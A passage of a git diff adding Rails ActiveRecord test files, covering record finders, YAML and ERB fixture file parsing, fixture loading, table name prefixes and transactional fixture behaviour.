+    assert_equal 3, posts.size
+    assert_equal [0, 1, 1], posts.map(&:author_id).sort
+  end
+
+  def test_find_one_message_on_primary_key
+    e = assert_raises(ActiveRecord::RecordNotFound) do
+      Car.find(0)
+    end
+    assert_equal 0, e.id
+    assert_equal "id", e.primary_key
+    assert_equal "Car", e.model
+    assert_equal "Couldn't find Car with 'id'=0", e.message
+  end
+
+  def test_find_one_message_with_custom_primary_key
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find "Hello World!"
+      end
+      assert_equal "Couldn't find MercedesCar with 'name'=Hello World!", e.message
+    end
+  end
+
+  def test_find_some_message_with_custom_primary_key
+    table_with_custom_primary_key do |model|
+      model.primary_key = :name
+      e = assert_raises(ActiveRecord::RecordNotFound) do
+        model.find "Hello", "World!"
+      end
+      assert_equal "Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)", e.message
+    end
+  end
+
+  def test_find_without_primary_key
+    assert_raises(ActiveRecord::UnknownPrimaryKey) do
+      Matey.find(1)
+    end
+  end
+
+  def test_finder_with_offset_string
+    assert_nothing_raised { Topic.offset("3").to_a }
+  end
+
+  test "find_by with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by(id: posts(:eager_other).id)
+  end
+
+  test "find_by with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by("id = #{posts(:eager_other).id}")
+  end
+
+  test "find_by with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by("id = ?", posts(:eager_other).id)
+  end
+
+  test "find_by returns nil if the record is missing" do
+    assert_nil Post.find_by("1 = 0")
+  end
+
+  test "find_by with associations" do
+    assert_equal authors(:david), Post.find_by(author: authors(:david)).author
+    assert_equal authors(:mary) , Post.find_by(author: authors(:mary)).author
+  end
+
+  test "find_by doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by(id: posts(:eager_other).id) }
+  end
+
+  test "find_by! with hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!(id: posts(:eager_other).id)
+  end
+
+  test "find_by! with non-hash conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!("id = #{posts(:eager_other).id}")
+  end
+
+  test "find_by! with multi-arg conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by!("id = ?", posts(:eager_other).id)
+  end
+
+  test "find_by! doesn't have implicit ordering" do
+    assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(id: posts(:eager_other).id) }
+  end
+
+  test "find_by! raises RecordNotFound if the record is missing" do
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Post.find_by!("1 = 0")
+    end
+  end
+
+  test "find on a scope does not perform statement caching" do
+    honda = cars(:honda)
+    zyke = cars(:zyke)
+    tyre = honda.tyres.create!
+    tyre2 = zyke.tyres.create!
+
+    assert_equal tyre, honda.tyres.custom_find(tyre.id)
+    assert_equal tyre2, zyke.tyres.custom_find(tyre2.id)
+  end
+
+  test "find_by on a scope does not perform statement caching" do
+    honda = cars(:honda)
+    zyke = cars(:zyke)
+    tyre = honda.tyres.create!
+    tyre2 = zyke.tyres.create!
+
+    assert_equal tyre, honda.tyres.custom_find_by(id: tyre.id)
+    assert_equal tyre2, zyke.tyres.custom_find_by(id: tyre2.id)
+  end
+
+  test "#skip_query_cache! for #exists?" do
+    Topic.cache do
+      assert_queries(1) do
+        Topic.exists?
+        Topic.exists?
+      end
+
+      assert_queries(2) do
+        Topic.all.skip_query_cache!.exists?
+        Topic.all.skip_query_cache!.exists?
+      end
+    end
+  end
+
+  test "#skip_query_cache! for #exists? with a limited eager load" do
+    Topic.cache do
+      assert_queries(2) do
+        Topic.eager_load(:replies).limit(1).exists?
+        Topic.eager_load(:replies).limit(1).exists?
+      end
+
+      assert_queries(4) do
+        Topic.eager_load(:replies).limit(1).skip_query_cache!.exists?
+        Topic.eager_load(:replies).limit(1).skip_query_cache!.exists?
+      end
+    end
+  end
+
+  private
+    def table_with_custom_primary_key
+      yield(Class.new(Toy) do
+        def self.name
+          "MercedesCar"
+        end
+      end)
+    end
+
+    def assert_raises_with_message(exception_class, message, &block)
+      err = assert_raises(exception_class) { block.call }
+      assert_match message, err.message
+    end
+end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
new file mode 100644
index 0000000000..ff99988cb5
--- /dev/null
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -0,0 +1,158 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "tempfile"
+
+module ActiveRecord
+  class FixtureSet
+    class FileTest < ActiveRecord::TestCase
+      def test_open
+        fh = File.open(::File.join(FIXTURES_ROOT, "accounts.yml"))
+        assert_equal 6, fh.to_a.length
+      end
+
+      def test_open_with_block
+        called = false
+        File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+          called = true
+          assert_equal 6, fh.to_a.length
+        end
+        assert called, "block called"
+      end
+
+      def test_names
+        File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+          assert_equal ["signals37",
+                        "unknown",
+                        "rails_core_account",
+                        "last_account",
+                        "rails_core_account_2",
+                        "odegy_account"].sort, fh.to_a.map(&:first).sort
+        end
+      end
+
+      def test_values
+        File.open(::File.join(FIXTURES_ROOT, "accounts.yml")) do |fh|
+          assert_equal [1, 2, 3, 4, 5, 6].sort, fh.to_a.map(&:last).map { |x|
+            x["id"]
+          }.sort
+        end
+      end
+
+      def test_erb_processing
+        File.open(::File.join(FIXTURES_ROOT, "developers.yml")) do |fh|
+          devs = Array.new(8) { |i| "dev_#{i + 3}" }
+          assert_equal [], devs - fh.to_a.map(&:first)
+        end
+      end
+
+      def test_empty_file
+        tmp_yaml ["empty", "yml"], "" do |t|
+          assert_equal [], File.open(t.path) { |fh| fh.to_a }
+        end
+      end
+
+      # A valid YAML file is not necessarily a value Fixture file. Make sure
+      # an exception is raised if the format is not valid Fixture format.
+      def test_wrong_fixture_format_string
+        tmp_yaml ["empty", "yml"], "qwerty" do |t|
+          assert_raises(ActiveRecord::Fixture::FormatError) do
+            File.open(t.path) { |fh| fh.to_a }
+          end
+        end
+      end
+
+      def test_wrong_fixture_format_nested
+        tmp_yaml ["empty", "yml"], "one: two" do |t|
+          assert_raises(ActiveRecord::Fixture::FormatError) do
+            File.open(t.path) { |fh| fh.to_a }
+          end
+        end
+      end
+
+      def test_render_context_helper
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          def fixture_helper
+            "Fixture helper"
+          end
+        end
+        yaml = "one:\n  name: <%= fixture_helper %>\n"
+        tmp_yaml ["curious", "yml"], yaml do |t|
+          golden =
+              [["one", { "name" => "Fixture helper" }]]
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+        ActiveRecord::FixtureSet.context_class.class_eval do
+          remove_method :fixture_helper
+        end
+      end
+
+      def test_render_context_lookup_scope
+        yaml = <<END
+one:
+  ActiveRecord: <%= defined? ActiveRecord %>
+  ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+  FixtureSet: <%= defined? FixtureSet %>
+  ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+  File: <%= File.name %>
+END
+
+        golden = [["one", {
+          "ActiveRecord" => "constant",
+          "ActiveRecord_FixtureSet" => "constant",
+          "FixtureSet" => nil,
+          "ActiveRecord_FixtureSet_File" => "constant",
+          "File" => "File"
+        }]]
+
+        tmp_yaml ["curious", "yml"], yaml do |t|
+          assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+        end
+      end
+
+      # Make sure that each fixture gets its own rendering context so that
+      # fixtures are independent.
+      def test_independent_render_contexts
+        yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+        yaml2 = "one:\n  name: <%= leaked_method %>\n"
+        tmp_yaml ["leaky", "yml"], yaml1 do |t1|
+          tmp_yaml ["curious", "yml"], yaml2 do |t2|
+            File.open(t1.path) { |fh| fh.to_a }
+            assert_raises(NameError) do
+              File.open(t2.path) { |fh| fh.to_a }
+            end
+          end
+        end
+      end
+
+      def test_removes_fixture_config_row
+        File.open(::File.join(FIXTURES_ROOT, "other_posts.yml")) do |fh|
+          assert_equal(["second_welcome"], fh.each.map { |name, _| name })
+        end
+      end
+
+      def test_extracts_model_class_from_config_row
+        File.open(::File.join(FIXTURES_ROOT, "other_posts.yml")) do |fh|
+          assert_equal "Post", fh.model_class
+        end
+      end
+
+      def test_erb_filename
+        filename = "filename.yaml"
+        erb = File.new(filename).send(:prepare_erb, "<% Rails.env %>\n")
+        assert_equal erb.filename, filename
+      end
+
+      private
+        def tmp_yaml(name, contents)
+          t = Tempfile.new name
+          t.binmode
+          t.write contents
+          t.close
+          yield t
+        ensure
+          t.close true
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
new file mode 100644
index 0000000000..8197d09621
--- /dev/null
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -0,0 +1,1092 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/admin"
+require "models/admin/account"
+require "models/admin/randomly_named_c1"
+require "models/admin/user"
+require "models/binary"
+require "models/book"
+require "models/bulb"
+require "models/category"
+require "models/post"
+require "models/comment"
+require "models/company"
+require "models/computer"
+require "models/course"
+require "models/developer"
+require "models/dog"
+require "models/doubloon"
+require "models/joke"
+require "models/matey"
+require "models/other_dog"
+require "models/parrot"
+require "models/pirate"
+require "models/randomly_named_c1"
+require "models/reply"
+require "models/ship"
+require "models/task"
+require "models/topic"
+require "models/traffic_light"
+require "models/treasure"
+require "tempfile"
+
+class FixturesTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_tests = false
+
+  # other_topics fixture should not be included here
+  fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries, :traffic_lights
+
+  FIXTURES = %w( accounts binaries companies customers
+                 developers developers_projects entrants
+                 movies projects subscribers topics tasks )
+  MATCH_ATTRIBUTE_NAME = /[a-zA-Z][-\w]*/
+
+  def test_clean_fixtures
+    FIXTURES.each do |name|
+      fixtures = nil
+      assert_nothing_raised { fixtures = create_fixtures(name).first }
+      assert_kind_of(ActiveRecord::FixtureSet, fixtures)
+      fixtures.each { |_name, fixture|
+        fixture.each { |key, value|
+          assert_match(MATCH_ATTRIBUTE_NAME, key)
+        }
+      }
+    end
+  end
+
+  class InsertQuerySubscriber
+    attr_reader :events
+
+    def initialize
+      @events = []
+    end
+
+    def call(_, _, _, _, values)
+      @events << values[:sql] if values[:sql] =~ /INSERT/
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter)
+    def test_bulk_insert
+      begin
+        subscriber = InsertQuerySubscriber.new
+        subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+        create_fixtures("bulbs")
+        assert_equal 1, subscriber.events.size, "It takes one INSERT query to insert two fixtures"
+      ensure
+        ActiveSupport::Notifications.unsubscribe(subscription)
+      end
+    end
+  end
+
+  def test_broken_yaml_exception
+    badyaml = Tempfile.new ["foo", ".yml"]
+    badyaml.write "a: : "
+    badyaml.flush
+
+    dir  = File.dirname badyaml.path
+    name = File.basename badyaml.path, ".yml"
+    assert_raises(ActiveRecord::Fixture::FormatError) do
+      ActiveRecord::FixtureSet.create_fixtures(dir, name)
+    end
+  ensure
+    badyaml.close
+    badyaml.unlink
+  end
+
+  def test_create_fixtures
+    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, "parrots")
+    assert Parrot.find_by_name("Curious George"), "George is not in the database"
+    assert fixtures.detect { |f| f.name == "parrots" }, "no fixtures named 'parrots' in #{fixtures.map(&:name).inspect}"
+  end
+
+  def test_multiple_clean_fixtures
+    fixtures_array = nil
+    assert_nothing_raised { fixtures_array = create_fixtures(*FIXTURES) }
+    assert_kind_of(Array, fixtures_array)
+    fixtures_array.each { |fixtures| assert_kind_of(ActiveRecord::FixtureSet, fixtures) }
+  end
+
+  def test_create_symbol_fixtures
+    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, collections: Course) { Course.connection }
+
+    assert Course.find_by_name("Collection"), "course is not in the database"
+    assert fixtures.detect { |f| f.name == "collections" }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
+  end
+
+  def test_attributes
+    topics = create_fixtures("topics").first
+    assert_equal("The First Topic", topics["first"]["title"])
+    assert_nil(topics["second"]["author_email_address"])
+  end
+
+  def test_no_args_returns_all
+    all_topics = topics
+    assert_equal 5, all_topics.length
+    assert_equal "The First Topic", all_topics.first["title"]
+    assert_equal 5, all_topics.last.id
+  end
+
+  def test_no_args_record_returns_all_without_array
+    all_binaries = binaries
+    assert_kind_of(Array, all_binaries)
+    assert_equal 1, binaries.length
+  end
+
+  def test_nil_raises
+    assert_raise(StandardError) { topics(nil) }
+    assert_raise(StandardError) { topics([nil]) }
+  end
+
+  def test_inserts
+    create_fixtures("topics")
+    first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
+    assert_equal("The First Topic", first_row["title"])
+
+    second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
+    assert_nil(second_row["author_email_address"])
+  end
+
+  def test_inserts_with_pre_and_suffix
+    # Reset cache to make finds on the new table work
+    ActiveRecord::FixtureSet.reset_cache
+
+    ActiveRecord::Base.connection.create_table :prefix_other_topics_suffix do |t|
+      t.column :title, :string
+      t.column :author_name, :string
+      t.column :author_email_address, :string
+      t.column :written_on, :datetime
+      t.column :bonus_time, :time
+      t.column :last_read, :date
+      t.column :content, :string
+      t.column :approved, :boolean, default: true
+      t.column :replies_count, :integer, default: 0
+      t.column :parent_id, :integer
+      t.column :type, :string, limit: 50
+    end
+
+    # Store existing prefix/suffix
+    old_prefix = ActiveRecord::Base.table_name_prefix
+    old_suffix = ActiveRecord::Base.table_name_suffix
+
+    # Set a prefix/suffix we can test against
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+
+    other_topic_klass = Class.new(ActiveRecord::Base) do
+      def self.name
+        "OtherTopic"
+      end
+    end
+
+    topics = [create_fixtures("other_topics")].flatten.first
+
+    # This checks for a caching problem which causes a bug in the fixtures
+    # class-level configuration helper.
+    assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
+
+    first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'David'")
+    assert_not_nil first_row, "The prefix_other_topics_suffix table appears to be empty despite create_fixtures: the row with author_name = 'David' was not found"
+    assert_equal("The First Topic", first_row["title"])
+
+    second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'Mary'")
+    assert_nil(second_row["author_email_address"])
+
+    assert_equal :prefix_other_topics_suffix, topics.table_name.to_sym
+    # This assertion should preferably be the last in the list, because calling
+    # other_topic_klass.table_name sets a class-level instance variable
+    assert_equal :prefix_other_topics_suffix, other_topic_klass.table_name.to_sym
+
+  ensure
+    # Restore prefix/suffix to its previous values
+    ActiveRecord::Base.table_name_prefix = old_prefix
+    ActiveRecord::Base.table_name_suffix = old_suffix
+
+    ActiveRecord::Base.connection.drop_table :prefix_other_topics_suffix rescue nil
+  end
+
+  def test_insert_with_datetime
+    create_fixtures("tasks")
+    first = Task.find(1)
+    assert first
+  end
+
+  def test_logger_level_invariant
+    level = ActiveRecord::Base.logger.level
+    create_fixtures("topics")
+    assert_equal level, ActiveRecord::Base.logger.level
+  end
+
+  def test_instantiation
+    topics = create_fixtures("topics").first
+    assert_kind_of Topic, topics["first"].find
+  end
+
+  def test_complete_instantiation
+    assert_equal "The First Topic", @first.title
+  end
+
+  def test_fixtures_from_root_yml_with_instantiation
+    assert_equal 50, @unknown.credit_limit
+  end
+
+  def test_erb_in_fixtures
+    assert_equal "fixture_5", @dev_5.name
+  end
+
+  def test_empty_yaml_fixture
+    assert_not_nil ActiveRecord::FixtureSet.new(Account.connection, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
+  end
+
+  def test_empty_yaml_fixture_with_a_comment_in_it
+    assert_not_nil ActiveRecord::FixtureSet.new(Account.connection, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
+  end
+
+  def test_nonexistent_fixture_file
+    nonexistent_fixture_path = FIXTURES_ROOT + "/imnothere"
+
+    #sanity check to make sure that this file never exists
+    assert Dir[nonexistent_fixture_path + "*"].empty?
+
+    assert_raise(Errno::ENOENT) do
+      ActiveRecord::FixtureSet.new(Account.connection, "companies", Company, nonexistent_fixture_path)
+    end
+  end
+
+  def test_dirty_dirty_yaml_file
+    fixture_path = FIXTURES_ROOT + "/naked/yml/courses"
+    error = assert_raise(ActiveRecord::Fixture::FormatError) do
+      ActiveRecord::FixtureSet.new(Account.connection, "courses", Course, fixture_path)
+    end
+    assert_equal "fixture is not a hash: #{fixture_path}.yml", error.to_s
+  end
+
+  def test_yaml_file_with_one_invalid_fixture
+    fixture_path = FIXTURES_ROOT + "/naked/yml/courses_with_invalid_key"
+    error = assert_raise(ActiveRecord::Fixture::FormatError) do
+      ActiveRecord::FixtureSet.new(Account.connection, "courses", Course, fixture_path)
+    end
+    assert_equal "fixture key is not a hash: #{fixture_path}.yml, keys: [\"two\"]", error.to_s
+  end
+
+  def test_yaml_file_with_invalid_column
+    e = assert_raise(ActiveRecord::Fixture::FixtureError) do
+      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "parrots")
+    end
+
+    if current_adapter?(:SQLite3Adapter)
+      assert_equal(%(table "parrots" has no column named "arrr".), e.message)
+    else
+      assert_equal(%(table "parrots" has no columns named "arrr", "foobar".), e.message)
+    end
+  end
+
+  def test_yaml_file_with_symbol_columns
+    ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "trees")
+  end
+
+  def test_omap_fixtures
+    assert_nothing_raised do
+      fixtures = ActiveRecord::FixtureSet.new(Account.connection, "categories", Category, FIXTURES_ROOT + "/categories_ordered")
+
+      fixtures.each.with_index do |(name, fixture), i|
+        assert_equal "fixture_no_#{i}", name
+        assert_equal "Category #{i}", fixture["name"]
+      end
+    end
+  end
+
+  def test_yml_file_in_subdirectory
+    assert_equal(categories(:sub_special_1).name, "A special category in a subdir file")
+    assert_equal(categories(:sub_special_1).class, SpecialCategory)
+  end
+
+  def test_subsubdir_file_with_arbitrary_name
+    assert_equal(categories(:sub_special_3).name, "A special category in an arbitrarily named subsubdir file")
+    assert_equal(categories(:sub_special_3).class, SpecialCategory)
+  end
+
+  def test_binary_in_fixtures
+    data = File.open(ASSETS_ROOT + "/flowers.jpg", "rb") { |f| f.read }
+    data.force_encoding("ASCII-8BIT")
+    data.freeze
+    assert_equal data, @flowers.data
+  end
+
+  def test_serialized_fixtures
+    assert_equal ["Green", "Red", "Orange"], traffic_lights(:uk).state
+  end
+
+  def test_fixtures_are_set_up_with_database_env_variable
+    db_url_tmp = ENV["DATABASE_URL"]
+    ENV["DATABASE_URL"] = "sqlite3::memory:"
+    ActiveRecord::Base.stub(:configurations, {}) do
+      test_case = Class.new(ActiveRecord::TestCase) do
+        fixtures :accounts
+
+        def test_fixtures
+          assert accounts(:signals37)
+        end
+      end
+
+      result = test_case.new(:test_fixtures).run
+
+      assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+    end
+  ensure
+    ENV["DATABASE_URL"] = db_url_tmp
+  end
+end
+
+class HasManyThroughFixture < ActiveRecord::TestCase
+  def make_model(name)
+    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  end
+
+  def test_has_many_through_with_default_table_name
+    pt = make_model "ParrotTreasure"
+    parrot = make_model "Parrot"
+    treasure = make_model "Treasure"
+
+    pt.table_name = "parrots_treasures"
+    pt.belongs_to :parrot, anonymous_class: parrot
+    pt.belongs_to :treasure, anonymous_class: treasure
+
+    parrot.has_many :parrot_treasures, anonymous_class: pt
+    parrot.has_many :treasures, through: :parrot_treasures
+
+    parrots = File.join FIXTURES_ROOT, "parrots"
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    rows = fs.table_rows
+    assert_equal load_has_and_belongs_to_many["parrots_treasures"], rows["parrots_treasures"]
+  end
+
+  def test_has_many_through_with_renamed_table
+    pt = make_model "ParrotTreasure"
+    parrot = make_model "Parrot"
+    treasure = make_model "Treasure"
+
+    pt.belongs_to :parrot, anonymous_class: parrot
+    pt.belongs_to :treasure, anonymous_class: treasure
+
+    parrot.has_many :parrot_treasures, anonymous_class: pt
+    parrot.has_many :treasures, through: :parrot_treasures
+
+    parrots = File.join FIXTURES_ROOT, "parrots"
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    rows = fs.table_rows
+    assert_equal load_has_and_belongs_to_many["parrots_treasures"], rows["parrot_treasures"]
+  end
+
+  def load_has_and_belongs_to_many
+    parrot = make_model "Parrot"
+    parrot.has_and_belongs_to_many :treasures
+
+    parrots = File.join FIXTURES_ROOT, "parrots"
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs.table_rows
+  end
+end
+
+if Account.connection.respond_to?(:reset_pk_sequence!)
+  class FixturesResetPkSequenceTest < ActiveRecord::TestCase
+    fixtures :accounts
+    fixtures :companies
+
+    def setup
+      @instances = [Account.new(credit_limit: 50), Company.new(name: "RoR Consulting"), Course.new(name: "Test")]
+      ActiveRecord::FixtureSet.reset_cache # make sure tables get reinitialized
+    end
+
+    def test_resets_to_min_pk_with_specified_pk_and_sequence
+      @instances.each do |instance|
+        model = instance.class
+        model.delete_all
+        model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
+
+        instance.save!
+        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+      end
+    end
+
+    def test_resets_to_min_pk_with_default_pk_and_sequence
+      @instances.each do |instance|
+        model = instance.class
+        model.delete_all
+        model.connection.reset_pk_sequence!(model.table_name)
+
+        instance.save!
+        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
+      end
+    end
+
+    def test_create_fixtures_resets_sequences_when_not_cached
+      @instances.each do |instance|
+        max_id = create_fixtures(instance.class.table_name).first.fixtures.inject(0) do |_max_id, (_, fixture)|
+          fixture_id = fixture["id"].to_i
+          fixture_id > _max_id ? fixture_id : _max_id
+        end
+
+        # Clone the last fixture to check that it gets the next greatest id.
+        instance.save!
+        assert_equal max_id + 1, instance.id, "Sequence reset for #{instance.class.table_name} failed."
+      end
+    end
+  end
+end
+
+class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = false
+  fixtures :topics, :developers, :accounts
+
+  def test_without_complete_instantiation
+    assert !defined?(@first)
+    assert !defined?(@topics)
+    assert !defined?(@developers)
+    assert !defined?(@accounts)
+  end
+
+  def test_fixtures_from_root_yml_without_instantiation
+    assert !defined?(@unknown), "@unknown is not defined"
+  end
+
+  def test_visibility_of_accessor_method
+    assert_equal false, respond_to?(:topics, false), "should be private method"
+    assert_equal true, respond_to?(:topics, true), "confirm to respond surely"
+  end
+
+  def test_accessor_methods
+    assert_equal "The First Topic", topics(:first).title
+    assert_equal "Jamis", developers(:jamis).name
+    assert_equal 50, accounts(:signals37).credit_limit
+  end
+
+  def test_accessor_methods_with_multiple_args
+    assert_equal 2, topics(:first, :second).size
+    assert_raise(StandardError) { topics([:first, :second]) }
+  end
+
+  def test_reloading_fixtures_through_accessor_methods
+    topic = Struct.new(:title)
+    assert_equal "The First Topic", topics(:first).title
+    assert_called(@loaded_fixtures["topics"]["first"], :find, returns: topic.new("Fresh Topic!")) do
+      assert_equal "Fresh Topic!", topics(:first, true).title
+    end
+  end
+end
+
+class FixturesWithoutInstanceInstantiationTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_instantiated_fixtures = :no_instances
+
+  fixtures :topics, :developers, :accounts
+
+  def test_without_instance_instantiation
+    assert !defined?(@first), "@first is not defined"
+  end
+end
+
+class TransactionalFixturesTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_tests = true
+
+  fixtures :topics
+
+  def test_destroy
+    assert_not_nil @first
+    @first.destroy
+  end
+
+  def test_destroy_just_kidding
+    assert_not_nil @first
+  end
+end
+
+class MultipleFixturesTest < ActiveRecord::TestCase
+  fixtures :topics
+  fixtures :developers, :accounts
+
+  def test_fixture_table_names
+    assert_equal %w(topics developers accounts), fixture_table_names
+  end
+end
+
+class SetupTest < ActiveRecord::TestCase
+  # fixtures :topics
+
+  def setup
+    @first = true
+  end
+
+  def test_nothing
+  end
+end
+
+class SetupSubclassTest < SetupTest
+  def setup
+    super
+    @second = true
+  end
+
+  def test_subclassing_should_preserve_setups
+    assert @first
+    assert @second
+  end
+end
+
+class OverlappingFixturesTest < ActiveRecord::TestCase
+  fixtures :topics, :developers
+  fixtures :developers, :accounts
+
+  def test_fixture_table_names
+    assert_equal %w(topics developers accounts), fixture_table_names
+  end
+end
+
+class ForeignKeyFixturesTest < ActiveRecord::TestCase
+  fixtures :fk_test_has_pk, :fk_test_has_fk
+
+  # if foreign keys are implemented and fixtures
+  # are not deleted in reverse order then this test
+  # case will raise StatementInvalid
+
+  def test_number1
+    assert true
+  end
+
+  def test_number2
+    assert true
+  end
+end
+
+class OverRideFixtureMethodTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  def topics(name)
+    topic = super
+    topic.title = "omg"
+    topic
+  end
+
+  def test_fixture_methods_can_be_overridden
+    x = topics :first
+    assert_equal "omg", x.title
+  end
+end
+
+class FixtureWithSetModelClassTest < ActiveRecord::TestCase
+  fixtures :other_posts, :other_comments
+
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account the +set_model_class+.
+  self.use_transactional_tests = false
+
+  def test_uses_fixture_class_defined_in_yaml
+    assert_kind_of Post, other_posts(:second_welcome)
+  end
+
+  def test_loads_the_associations_to_fixtures_with_set_model_class
+    post = other_posts(:second_welcome)
+    comment = other_comments(:second_greetings)
+    assert_equal [comment], post.comments
+    assert_equal post, comment.post
+  end
+end
+
+class SetFixtureClassPrevailsTest < ActiveRecord::TestCase
+  set_fixture_class bad_posts: Post
+  fixtures :bad_posts
+
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account the +set_model_class+.
+  self.use_transactional_tests = false
+
+  def test_uses_set_fixture_class
+    assert_kind_of Post, bad_posts(:bad_welcome)
+  end
+end
+
+class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
+  set_fixture_class funny_jokes: Joke
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_tests = false
+
+  def test_table_method
+    assert_kind_of Joke, funny_jokes(:a_joke)
+  end
+end
+
+class FixtureNameIsNotTableNameFixturesTest < ActiveRecord::TestCase
+  set_fixture_class items: Book
+  fixtures :items
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_tests = false
+
+  def test_named_accessor
+    assert_kind_of Book, items(:dvd)
+  end
+end
+
+class FixtureNameIsNotTableNameMultipleFixturesTest < ActiveRecord::TestCase
+  set_fixture_class items: Book, funny_jokes: Joke
+  fixtures :items, :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_tests = false
+
+  def test_named_accessor_of_differently_named_fixture
+    assert_kind_of Book, items(:dvd)
+  end
+
+  def test_named_accessor_of_same_named_fixture
+    assert_kind_of Joke, funny_jokes(:a_joke)
+  end
+end
+
+class CustomConnectionFixturesTest < ActiveRecord::TestCase
+  set_fixture_class courses: Course
+  fixtures :courses
+  self.use_transactional_tests = false
+
+  def test_leaky_destroy
+    assert_nothing_raised { courses(:ruby) }
+    courses(:ruby).destroy
+  end
+
+  def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+    test_leaky_destroy
+  end
+end
+
+class TransactionalFixturesOnCustomConnectionTest < ActiveRecord::TestCase
+  set_fixture_class courses: Course
+  fixtures :courses
+  self.use_transactional_tests = true
+
+  def test_leaky_destroy
+    assert_nothing_raised { courses(:ruby) }
+    courses(:ruby).destroy
+  end
+
+  def test_it_twice_in_whatever_order_to_check_for_fixture_leakage
+    test_leaky_destroy
+  end
+end
+
+class TransactionalFixturesOnConnectionNotification < ActiveRecord::TestCase
+  self.use_transactional_tests = true
+  self.use_instantiated_fixtures = false
+
+  def test_transaction_created_on_connection_notification
+    connection = stub(transaction_open?: false)
+    connection.expects(:begin_transaction).with(joinable: false)
+    pool = connection.stubs(:pool).returns(ActiveRecord::ConnectionAdapters::ConnectionPool.new(ActiveRecord::Base.connection_pool.spec))
+    pool.stubs(:lock_thread=).with(false)
+    fire_connection_notification(connection)
+  end
+
+  def test_notification_established_transactions_are_rolled_back
+    # Mocha is not thread-safe so define our own stub to test
+    connection = Class.new do
+      attr_accessor :rollback_transaction_called
+      attr_accessor :pool
+      def transaction_open?; true; end
+      def begin_transaction(*args); end
+      def rollback_transaction(*args)
+        @rollback_transaction_called = true
+      end
+    end.new
+    connection.pool = Class.new do
+      def lock_thread=(lock_thread); false; end
+    end.new
+    fire_connection_notification(connection)
+    teardown_fixtures
+    assert(connection.rollback_transaction_called, "Expected <mock connection>#rollback_transaction to be called but was not")
+  end
+
+  private
+
+    def fire_connection_notification(connection)
